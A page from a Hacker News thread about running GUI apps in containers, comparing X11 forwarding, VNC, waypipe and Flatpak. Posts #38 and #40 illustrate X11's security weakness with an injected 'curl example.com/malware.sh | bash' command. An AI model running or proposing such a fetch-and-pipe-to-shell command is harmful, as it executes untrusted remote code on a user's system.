Live data from Hacker News

How to run GUI applications directly in containers

github.com

31–40 of 40 posts

Re: How to run GUI applications directly in containers

#34
post #21
post #12

This is a case where the original X11 client server model would make perfect sense.

Yes, exactly my thought, why not connect to the X11 server

That would completely defeat the security aspect. At that point, you're only using Docker as a software distribution method, which it's terrible at.

Re: How to run GUI applications directly in containers

#35
post #27

The linuxserver.io packaged a couple popular GUI apps in container, e.g. Calibre. The container packages a VNC server, and you can access the container using a webVNC. This seems like a great solution for non-GPU-intensive GUI apps.

I remember having to do something similar when I was running a Debian chroot on an Android phone on one of the early Android phones. Haven’t stuck around so I don’t know if VNC is still common to use locally on Android when you want to run other Linux distros with graphical environments on your device. It worked but having to rely on VNC for something that is local on the same machine never felt great to me. Same whe…

I’ve used waypipe for this before. https://github.com/deepin-community/waypipe

Re: How to run GUI applications directly in containers

#36
post #13
post #7

Earlier quoted context omitted.

I think this depends on your use case. As a dev I would take dockerized gui applications over flatpak all day, as it allows me to quickly add additional packages and networking for example. The possibilities would be endless while all can reside in a small docker-compose stack right in the repository.

Your perspective is understandable. When you say "as a dev" it sounds like you really want to be a docker dev but not a flatpak dev: you are used to writing docker files and docker-compose files but you are not interested in writing flatpak apps. That's okay because docker is focused on developers whereas flatpak is more user-centric.

I am not (only) a docker dev but a developer using docker tooling for my development environment. Feature wise docker and flatpak are not even comparable IMO. Just wanted to make a point, why flatpak is not (yet) an option for some people, and projects like this are very welcome.

Re: How to run GUI applications directly in containers

#37
post #21

Earlier quoted context omitted.

Yes, exactly my thought, why not connect to the X11 server

That would completely defeat the security aspect. At that point, you're only using Docker as a software distribution method, which it's terrible at.

How? You still have process and file system isolation. It’s just another protocol. We talk to containers overs HTTP all the time.

Re: How to run GUI applications directly in containers

#38
post #37

Earlier quoted context omitted.

That would completely defeat the security aspect. At that point, you're only using Docker as a software distribution method, which it's terrible at.

How? You still have process and file system isolation. It’s just another protocol. We talk to containers overs HTTP all the time.

You can grab screenshots, manipulate windows, and inject keyboard and mouse inputs. Find the application menu, open a terminal, curl example.com/malware.sh | bash and hide the window.

Re: How to run GUI applications directly in containers

#39
post #32

Earlier quoted context omitted.

Containers don't exist on Mac so yeah.

I can run Docker on Mac though.

You can run a desktop app that runs a Linux VM that runs containers on a Mac, but those containers have no way of rendering anything on the desktop.

Re: How to run GUI applications directly in containers

#40
post #37

Earlier quoted context omitted.

How? You still have process and file system isolation. It’s just another protocol. We talk to containers overs HTTP all the time.

You can grab screenshots, manipulate windows, and inject keyboard and mouse inputs. Find the application menu, open a terminal, curl example.com/malware.sh | bash and hide the window.

The X-Forward I have done just gives you the application in your own Desktop Environment. Shure depends on the application itself
Post reply on HN